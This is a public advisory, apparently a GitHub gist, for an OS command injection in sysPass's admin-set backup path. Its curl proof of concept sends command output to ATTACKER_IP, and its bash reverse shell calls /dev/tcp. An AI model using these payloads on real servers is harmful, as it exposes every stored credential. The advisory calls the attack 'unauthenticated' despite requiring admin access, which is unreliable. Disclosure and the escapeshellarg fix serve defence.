Skip to content

Instantly share code, notes, and snippets.

@sermikr0
Created July 24, 2026 04:16
Show Gist options
  • Select an option

  • Save sermikr0/16bcbc799dc33d39d5714db9bbcbdb77 to your computer and use it in GitHub Desktop.

Select an option

Save sermikr0/16bcbc799dc33d39d5714db9bbcbdb77 to your computer and use it in GitHub Desktop.
CVE-2026-65711 — sysPass OS Command Injection via Admin-Configurable Backup Path

CVE-2026-65711 — sysPass: OS Command Injection via Admin-Configurable Backup Path

CVE ID: CVE-2026-65711
Product: sysPass Password Manager
Repository: https://github.com/nuxsmin/sysPass
Affected Versions: All versions up to and including v3.2.11 (last release 2022-07-02)
Fixed Version: None — project abandoned (no commit in 4+ years)
Vulnerability Type: OS Command Injection (CWE-78)
CVSS 3.1 Score: 7.2 HIGH
CVSS 3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Discovered: 2026-07-11
Disclosed: 2026-07-23
Reporter: Saidakbarxon Maxsudxonov
CVE Assigned by: VulnCheck


Summary

FileBackupService::doBackupFiles() in sysPass constructs a tar shell command by directly concatenating the admin-configurable backup path ($this->path) into a string passed to exec()without calling escapeshellarg() or any other sanitization. An administrator who sets the backup path to a value containing shell metacharacters (;, `, $(...)) can inject and execute arbitrary OS commands as the web server user when a backup is triggered.

Because sysPass is a password manager, successful exploitation gives full access to every stored credential and the database encryption key.


Vulnerable Code

File: lib/SP/Services/Backup/FileBackupService.php (~line 388)

protected function doBackupFiles() {
    $backupFileApp = $this->backupFileApp . ArchiveHandler::COMPRESS_EXTENSION;

    $command = 'tar czf '
        . $backupFileApp
        . ' '
        . BASE_PATH
        . ' --exclude "'
        . $this->path        // ← UNQUOTED, no escapeshellarg() — INJECTION POINT
        . '" 2>&1';

    exec($command, $resOut, $resBakApp);
}

$this->path is read from the sysPass configuration stored in the database and writable via the admin settings API (CONFIG_BACKUP_SAVE action). When this value contains shell-special characters, the shell interprets them when exec() is called.

Under a benign configuration the constructed command looks like:

tar czf /var/syspass/backup/sysPass_backup.tar.gz /var/www/html/syspass \
  --exclude "/var/syspass/backup" 2>&1

Setting the backup path to /var/syspass/backup"; id # produces:

tar czf ... --exclude "/var/syspass/backup"; id #" 2>&1

The semicolon terminates tar and the injected command (id) runs as a separate shell statement.


Proof of Concept

Prerequisite: sysPass administrator session or API key with admin scope.

Step 1 — Set a malicious backup path via the admin API

curl -X POST https://syspass.target/api/v1/config \
  -H "Authorization: Bearer ADMIN_API_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "action": "CONFIG_BACKUP_SAVE",
    "params": {
      "siteBackupPath": "/var/syspass/backup\"; curl http://ATTACKER_IP:8080/$(id|base64 -w0); #"
    }
  }'

Step 2 — Start a listener

nc -lvnp 8080

Step 3 — Trigger the backup

curl -X POST https://syspass.target/api/v1/config \
  -H "Authorization: Bearer ADMIN_API_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"action": "CONFIG_BACKUP_RUN"}'

Result: The listener receives an HTTP request whose path contains the base64-encoded output of id, for example:

GET /dWlkPTMzKHd3dy1kYXRhKQ== HTTP/1.1

Decoded: uid=33(www-data) gid=33(www-data) groups=33(www-data) — confirming unauthenticated command execution.

Reverse shell variant

siteBackupPath: /var/syspass/backup"; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; #

Impact

Risk Detail
RCE as web server user Arbitrary OS commands executed via exec()
Full credential database access sysPass database and AES encryption key on same host
Persistent backdoor Write SSH keys, cron jobs, or PHP webshell
Lateral movement Use exfiltrated credentials to access managed infrastructure

sysPass is specifically designed to store passwords for other systems. RCE on the sysPass host is therefore equivalent to compromising every account managed by the platform.


Recommended Fix

Apply escapeshellarg() to every user-controlled value inserted into the shell command:

$command = 'tar czf '
    . escapeshellarg($backupFileApp)
    . ' '
    . escapeshellarg(BASE_PATH)
    . ' --exclude '
    . escapeshellarg($this->path)   // ← wrap in escapeshellarg()
    . ' 2>&1';

Alternatively, replace the exec('tar ...') call with a pure-PHP archive library (ZipArchive, PharData) to eliminate the shell injection surface entirely.


Disclosure Timeline

Date Event
2026-07-11 Vulnerability discovered via static code analysis
2026-07-11 Report submitted to VulnCheck for coordinated disclosure
2026-07-23 CVE-2026-65711 assigned by VulnCheck
2026-07-23 Public disclosure (project abandoned — no active maintainer)

Note: The sysPass GitHub repository has not received a commit in over 4 years and the project website is non-functional. VulnCheck confirmed the project is abandoned and authorized public disclosure prior to publishing the CVE record.


References

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment